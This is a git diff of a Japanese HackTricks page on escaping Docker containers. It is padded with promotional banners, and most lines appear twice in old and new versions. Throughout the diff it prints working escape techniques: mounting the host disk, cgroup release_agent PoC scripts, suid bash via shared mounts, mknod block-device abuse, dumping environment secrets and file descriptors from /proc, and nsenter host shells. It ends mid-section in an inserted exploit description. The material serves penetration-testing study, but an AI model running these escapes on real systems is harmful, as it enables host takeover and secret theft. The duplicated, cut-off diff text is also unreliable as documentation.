* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリに。
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -26,13 +26,13 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): **コンテナを列挙**することもできます
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、**現在のコンテナを列挙し、自動的に脱出を試みる**のに非常に便利です
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、そこから脱出する方法を見つけるための便利なツール
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、それから脱出する方法を見つけるための便利なツール
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): コンテナからの列挙と脱出のためのツール
|
||||
* [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得する
|
||||
|
||||
## マウントされたDockerソケットの脱出
|
||||
|
||||
もしも **dockerソケットがDockerコンテナ内にマウントされている**ことがわかった場合、そこから脱出することができます。\
|
||||
もしも**dockerソケットがDockerコンテナ内にマウントされている**ことがわかった場合、それから脱出することができます。\
|
||||
これは通常、何らかの理由でDockerコンテナがDockerデーモンに接続してアクションを実行する必要がある場合に発生します。
|
||||
```bash
|
||||
#Search the socket
|
||||
|
@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**dockerソケットが予期しない場所にある**場合は、**`docker`**コマンドをパラメータ**`-H unix:///path/to/docker.sock`**を使用してそれと通信することができます。
|
||||
**dockerソケットが予期しない場所にある** 場合は、パラメータ **`-H unix:///path/to/docker.sock`** を使用して **`docker`** コマンドでそれと通信することができます。
|
||||
{% endhint %}
|
||||
|
||||
Dockerデーモンは、[ポート(デフォルトで2375、2376)でリスニングされる場合もあります](../../../../network-services-pentesting/2375-pentesting-docker.md)し、Systemdベースのシステムでは、Dockerデーモンとの通信はSystemdソケット`fd://`を介して行われることがあります。
|
||||
Dockerデーモンは、[デフォルトでポート(2375、2376)でリスニング](../../../../network-services-pentesting/2375-pentesting-docker.md)されているか、Systemdベースのシステムでは、Dockerデーモンとの通信はSystemdソケット `fd://` を介して行われる可能性があります。
|
||||
|
||||
{% hint style="info" %}
|
||||
さらに、他のハイレベルランタイムのランタイムソケットにも注意してください:
|
||||
|
@ -72,33 +72,27 @@ Dockerデーモンは、[ポート(デフォルトで2375、2376)でリス
|
|||
|
||||
## Capabilities Abuse Escape
|
||||
|
||||
コンテナの権限をチェックし、以下のいずれかを持っている場合、それから脱出することができるかもしれません: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
コンテナの権限をチェックする必要があります。以下のいずれかの権限がある場合、それから脱出することができるかもしれません: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
現在のコンテナの権限を確認するには、**前述の自動ツール**または次の方法を使用できます:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
以下のページで**Linuxの機能について詳しく学び**、それらを悪用して特権を昇格/脱出する方法について学ぶことができます:
|
||||
## 特権コンテナからの脱出
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
特権コンテナは、`--privileged`フラグを使用するか、特定の防御を無効にすることで作成できます:
|
||||
|
||||
## 特権付きコンテナからの脱出
|
||||
- `--cap-add=ALL`
|
||||
- `--security-opt apparmor=unconfined`
|
||||
- `--security-opt seccomp=unconfined`
|
||||
- `--security-opt label:disable`
|
||||
- `--pid=host`
|
||||
- `--userns=host`
|
||||
- `--uts=host`
|
||||
- `--cgroupns=host`
|
||||
- `/dev`をマウント
|
||||
|
||||
特権付きコンテナは、`--privileged`フラグを使用するか、特定の防御を無効にすることで作成できます:
|
||||
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
* `--security-opt seccomp=unconfined`
|
||||
* `--security-opt label:disable`
|
||||
* `--pid=host`
|
||||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* `/dev`をマウント
|
||||
|
||||
`--privileged`フラグは、コンテナのセキュリティを著しく低下させ、**制限なしのデバイスアクセス**を提供し、**いくつかの保護をバイパス**します。詳細な説明については、`--privileged`の完全な影響に関するドキュメントを参照してください。
|
||||
`--privileged`フラグは、コンテナのセキュリティを著しく低下させ、**デバイスへの制限なしのアクセス**を提供し、**いくつかの保護をバイパス**します。詳細な説明については、`--privileged`の完全な影響に関するドキュメントを参照してください。
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -116,13 +110,13 @@ docker run --rm -it --pid=host --privileged ubuntu bash
|
|||
|
||||
特権フラグだけで、ホストのディスクにアクセスを試みたり、release\_agentを悪用して脱出を試みることができます。
|
||||
|
||||
コンテナで以下のバイパスをテストして実行します:
|
||||
コンテナで以下のバイパスをテストしてください:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### ディスクのマウント - Poc1
|
||||
|
||||
適切に構成されたDockerコンテナは、**fdisk -l**のようなコマンドを許可しません。ただし、`--privileged`フラグまたは`--device=/dev/sda1`というキャップが指定されたミス構成のDockerコマンドでは、特権を取得してホストドライブを表示することが可能です。
|
||||
適切に構成されたDockerコンテナは、**fdisk -l**のようなコマンドを許可しません。ただし、`--privileged`または`--device=/dev/sda1`フラグが指定されたミス構成のDockerコマンドでは、特権を取得してホストドライブを表示することが可能です。
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
|
@ -131,11 +125,11 @@ docker run --rm -it --privileged ubuntu bash
|
|||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
そして完成!ホストのファイルシステムにアクセスできるようになりました。これは `/mnt/hola` フォルダにマウントされています。
|
||||
そして完成!ホストのファイルシステムにアクセスできるようになりました。なぜなら、それが `/mnt/hola` フォルダにマウントされているからです。
|
||||
|
||||
#### ディスクのマウント - Poc2
|
||||
|
||||
コンテナ内では、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基礎となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃ベクトルを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です:
|
||||
コンテナ内では、攻撃者はクラスタによって作成された書き込み可能な hostPath ボリュームを介して、基礎となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃ベクトルを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的なことです。
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -156,7 +150,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### 既存のrelease\_agentを悪用した特権エスケープ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1
|
||||
#### 既存のrelease_agentを悪用した特権エスケープ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1
|
||||
|
||||
{% code title="初期PoC" %}
|
||||
```bash
|
||||
|
@ -192,9 +186,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
|||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### 特権エスケープ created release_agent の悪用 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
#### 特権エスケープ created release_agent の悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC2
|
||||
|
||||
{% code title="Second PoC" %}
|
||||
```bash
|
||||
|
@ -246,7 +238,7 @@ cat /output
|
|||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### release\_agentを悪用した特権エスケープ - 相対パスが不明な場合のPoC3
|
||||
#### release\_agentを悪用した特権エスケープ - 相対パスが不明な場合の PoC3
|
||||
|
||||
以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが公開**されていました。ただし、常にそうとは限りません。**ホスト内のコンテナの絶対パスがわからない場合**には、この技術を使用できます:
|
||||
|
||||
|
@ -340,10 +332,10 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### 特権エスケープ:機密マウントの悪用
|
||||
#### 特権の乱用による機密マウントの悪用
|
||||
|
||||
**ホストに関する情報を提供する可能性のあるいくつかのファイルがマウントされている**かもしれません。そのうちのいくつかは、**ホストが何かが起こったときに実行するものを示すかもしれません**(これにより攻撃者がコンテナから脱出することが可能になります)。\
|
||||
これらのファイルの悪用により、次のことが可能になるかもしれません:
|
||||
**ホストに関する情報を提供する可能性のあるいくつかのファイル**がマウントされている場合があります。これらのファイルのいくつかは、**ホストが何かが起こったときに実行するものを示す場合さえあります**(これにより攻撃者がコンテナから脱出することができます)。
|
||||
これらのファイルの悪用により、次のことが可能になる場合があります:
|
||||
|
||||
- release\_agent(以前にカバー済み)
|
||||
- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
|
@ -359,14 +351,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
|
||||
### 任意のマウント
|
||||
|
||||
何度かの機会に、**コンテナがホストからのボリュームをマウントしている**ことがあります。このボリュームが正しく構成されていない場合、**アクセス/変更が可能になる機密データ**があるかもしれません:シークレットの読み取り、sshのauthorized\_keysの変更...
|
||||
何度かの機会に、**コンテナにはホストからのボリュームがマウントされている**ことがあります。このボリュームが正しく構成されていない場合、**アクセス/変更が可能になる機密データ**があるかもしれません:シークレットの読み取り、sshのauthorized\_keysの変更...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### 2つのシェルとホストマウントを使用した特権昇格
|
||||
|
||||
**コンテナ内のrootとしてアクセス**権限があり、ホストからのフォルダがマウントされているコンテナ内で**特権のないユーザーとしてホストに脱出**し、マウントされたフォルダに読み取りアクセス権限がある場合、\
|
||||
**コンテナ内のマウントされたフォルダ**に**bash suidファイル**を作成し、**ホストから実行**して特権昇格を行うことができます。
|
||||
もし、ホストからマウントされたフォルダを持つ**コンテナ内のrootとしてのアクセス権**を持っており、**非特権ユーザーとしてホストに脱出**し、マウントされたフォルダに対する読み取りアクセス権を持っている場合、\
|
||||
**コンテナ**内の**マウントされたフォルダ**に**bash suidファイル**を作成し、それを**ホスト**から実行することで特権昇格を行うことができます。
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -376,10 +368,10 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### 2つのシェルを使用した特権昇格
|
||||
|
||||
**コンテナ内でrootアクセス**があり、**特権のないユーザーとしてホストに脱出**した場合、コンテナ内でMKNODの機能を持っていれば(デフォルトで持っています)、両方のシェルを悪用して**ホスト内で特権昇格**することができます。これは、[**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
|
||||
このような機能を持つと、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**基礎となるハードウェアやカーネルモジュールにアクセス**するために使用される特別なファイルです。たとえば、/dev/sdaブロックデバイスファイルは、**システムディスク上の生データを読む**ためのアクセスを提供します。
|
||||
**コンテナ内のrootとしてアクセス**権限があり、**特権のないユーザーとしてホストに脱出**できた場合、コンテナ内でMKNODの機能(デフォルトで使用可能)を持っている場合、両方のシェルを悪用して**ホスト内で特権昇格**することができます。これは、[**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
|
||||
このような機能を持つと、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することができます。デバイスファイルは、**基礎となるハードウェアやカーネルモジュールにアクセス**するために使用される特別なファイルです。たとえば、/dev/sdaブロックデバイスファイルは、**システムディスク上の生データを読み取る**アクセスを提供します。
|
||||
|
||||
Dockerは、コンテナ内でのブロックデバイスの誤用に対して、**ブロックデバイスの読み書き操作をブロック**するcgroupポリシーを強制します。ただし、コンテナ内で**ブロックデバイスが作成**されると、**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセスできるようになります。このアクセスには、コンテナ内外で**プロセス所有者が同じ**である必要があります。
|
||||
Dockerは、コンテナ内でのブロックデバイスの誤用に対して、**ブロックデバイスの読み書き操作をブロック**するcgroupポリシーを強制します。ただし、コンテナ内で**ブロックデバイスが作成**されると、**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセスできるようになります。このアクセスには、コンテナ内外の**プロセス所有者が同じ**である必要があります。
|
||||
|
||||
この[**解説**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)からの**悪用**例:
|
||||
```bash
|
||||
|
@ -423,9 +415,9 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
たとえば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。
|
||||
例えば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。
|
||||
|
||||
その後、**/proc/ホスト内の各プロセスにアクセスできるため、単にその環境変数の秘密を盗むことができます**。次のように実行します:
|
||||
その後、**/proc/ホスト内の各プロセスにアクセスできるため、単にその環境変数の秘密を盗むことができます**。以下を実行します:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -434,7 +426,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
あなたはまた、**他のプロセスのファイルディスクリプタにアクセスして、それらのオープンされたファイルを読む**ことができます。
|
||||
あなたは他のプロセスのファイルディスクリプタにアクセスし、それらのオープンされたファイルを読むこともできます。
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -444,24 +436,24 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
|||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
あなたは**プロセスを終了させ、DoSを引き起こす**こともできます。
|
||||
あなたはまた**プロセスを終了させ、DoSを引き起こす**ことができます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
もし何らかの方法で**コンテナ外のプロセスに特権アクセス**を持っている場合、`nsenter --target <pid> --all`や`nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと同じns制限(たぶんなし)を持つシェルを**実行**できます。
|
||||
もしコンテナの外側のプロセスに特権アクセスを持っている場合、`nsenter --target <pid> --all`や`nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと同じns制限(たぶんなし)を持つシェルを実行することができます。
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で構成されている場合、そのコンテナのネットワークスタックはDockerホストから分離されておらず(コンテナはホストのネットワーキング名前空間を共有しています)、コンテナには独自のIPアドレスが割り当てられません。言い換えると、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェースでホストが送受信している**すべてのネットワークトラフィックを傍受**できます (`tcpdump -i eth0`)
|
||||
もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で構成されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しており、コンテナには独自のIPアドレスが割り当てられません)。言い換えれば、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース`tcpdump -i eth0`でホストが送受信している**すべてのネットワークトラフィックを傍受**できます。
|
||||
|
||||
例えば、これを使用してホストとメタデータインスタンス間のトラフィックを**スニッフィングやスプーフィング**することができます。
|
||||
|
||||
以下の例のように:
|
||||
|
||||
* [Writeup: Google SREに連絡する方法: クラウドSQLにシェルをドロップする](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [メタデータサービスのMITMによるルート権限昇格(EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
- [Writeup: Google SREに連絡する方法: cloud SQLにシェルをドロップする](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
- [Metadata service MITMによるルート特権昇格(EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
また、ホスト内で**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータ権限にアクセス**したりすることもできます(これはコンテナがアクセスできるものと異なる場合があります)。
|
||||
|
||||
|
@ -469,14 +461,14 @@ docker run --rm -it --network=host ubuntu bash
|
|||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
`hostIPC=true`を使用すると、ホストのプロセス間通信(IPC)リソースにアクセスできます。たとえば、`/dev/shm`内の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが使用する同じIPCリソースで読み取り/書き込みが可能になります。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用します。
|
||||
`hostIPC=true`を使用すると、ホストのプロセス間通信(IPC)リソースにアクセスできます。たとえば、`/dev/shm`内の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが同じIPCリソースを使用している場所に読み書きできます。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用します。
|
||||
|
||||
* **/dev/shmの調査** - この共有メモリの場所にあるファイルを調べます:`ls -la /dev/shm`
|
||||
* **既存のIPC施設の調査** - `/usr/bin/ipcs`を使用して、使用されているIPC施設があるかどうかを確認できます。次のコマンドを使用して確認します:`ipcs -a`
|
||||
* **/dev/shmを調査** - この共有メモリの場所にあるファイルを調べます: `ls -la /dev/shm`
|
||||
* **既存のIPC施設を調査** - `/usr/bin/ipcs`を使用して、IPC施設が使用されているかどうかを確認できます。次のコマンドで確認します: `ipcs -a`
|
||||
|
||||
### 権限の回復
|
||||
### 機能の回復
|
||||
|
||||
シスコール**`unshare`**が禁止されていない場合、次のコマンドを実行してすべての権限を回復できます:
|
||||
シスコール **`unshare`** が禁止されていない場合、次のコマンドを実行してすべての機能を回復できます:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
|
@ -484,12 +476,12 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
### シンボリックリンクを使用したユーザー名前空間の悪用
|
||||
|
||||
[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) で説明されている2番目のテクニックは、ユーザー名前空間でバインドマウントを悪用して、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法を示しています。
|
||||
[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) で説明されている2番目のテクニックは、ユーザー名前空間を使用してバインドマウントを悪用し、ホスト内のファイルに影響を与える方法を示しています(特定のケースでは、ファイルを削除します)。
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -497,7 +489,7 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
`docker exec` を root として実行できる場合(おそらく sudo で)、CVE-2019-5736 を悪用してコンテナから脱出して特権を昇格させることができます([こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)に exploit があります)。このテクニックは基本的に、**ホスト内の** _**/bin/sh**_ バイナリを**コンテナから上書き**するものであり、docker exec を実行すると誰でもペイロードをトリガーできます。
|
||||
`docker exec` を root として実行できる場合(おそらく sudo で)、CVE-2019-5736 を悪用してコンテナから脱出し、特権を昇格させることができます([こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)に exploit があります)。このテクニックは、基本的に**ホスト内の** _**/bin/sh**_ **バイナリをコンテナから上書き**するものであり、docker exec を実行すると誰でもペイロードをトリガーできます。
|
||||
|
||||
ペイロードを適切に変更し、`go build main.go` で main.go をビルドします。生成されたバイナリは、実行のために docker コンテナに配置する必要があります。\
|
||||
実行時に `[+] Overwritten /bin/sh successfully` と表示されると、ホストマシンから次のコマンドを実行する必要があります:
|
||||
|
@ -506,7 +498,7 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
これにより、main.go ファイルに存在するペイロードがトリガーされます。
|
||||
|
||||
詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) を参照してください。
|
||||
詳細については: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
コンテナが脆弱である可能性のある他の CVE があります。リストは[こちら](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で見つけることができます。
|
||||
|
@ -516,9 +508,9 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
### Docker 脱出サーフェス
|
||||
|
||||
* **名前空間:** プロセスは名前空間によって**他のプロセスと完全に分離**される必要があります。そのため、名前空間によって他のプロセスとのやり取りから脱出することはできません(デフォルトでは IPC、Unix ソケット、ネットワークサービス、D-Bus、他のプロセスの `/proc` を介して通信できません)。
|
||||
* **ルートユーザー:** プロセスを実行するデフォルトのユーザーはルートユーザーです(ただし、その権限は制限されています)。
|
||||
* **機能:** Docker は次の機能を残します:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **名前空間:** プロセスは名前空間を介して**他のプロセスと完全に分離**されている必要があります。そのため、名前空間により他のプロセスとの相互作用から脱出できません(デフォルトでは IPC、Unix ソケット、ネットワークサービス、D-Bus、他のプロセスの `/proc` を介して通信できません)。
|
||||
* **ルートユーザー:** プロセスを実行するデフォルトのユーザーはルートユーザーです(ただし、権限は制限されています)。
|
||||
* **機能:** Docker は以下の機能を残します:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscall:** これらは**ルートユーザーが呼び出せないシスコール**です(機能の不足 + Seccomp のため)。他のシスコールを使用して脱出を試みることができます。
|
||||
|
||||
{% tabs %}
|
||||
|
@ -565,37 +557,7 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}
|
||||
|
||||
## Docker Breakout Privilege Escalation
|
||||
|
||||
### Description
|
||||
|
||||
This exploit demonstrates a privilege escalation vulnerability in Docker that allows an attacker to break out of a Docker container and gain root access on the host system.
|
||||
|
||||
### Usage
|
||||
|
||||
Compile the `syscall_bf.c` code on the host system using the provided Makefile:
|
||||
|
||||
```bash
|
||||
make
|
||||
```
|
||||
|
||||
Run the compiled binary to execute the exploit:
|
||||
|
||||
```bash
|
||||
./syscall_bf
|
||||
```
|
||||
|
||||
### Impact
|
||||
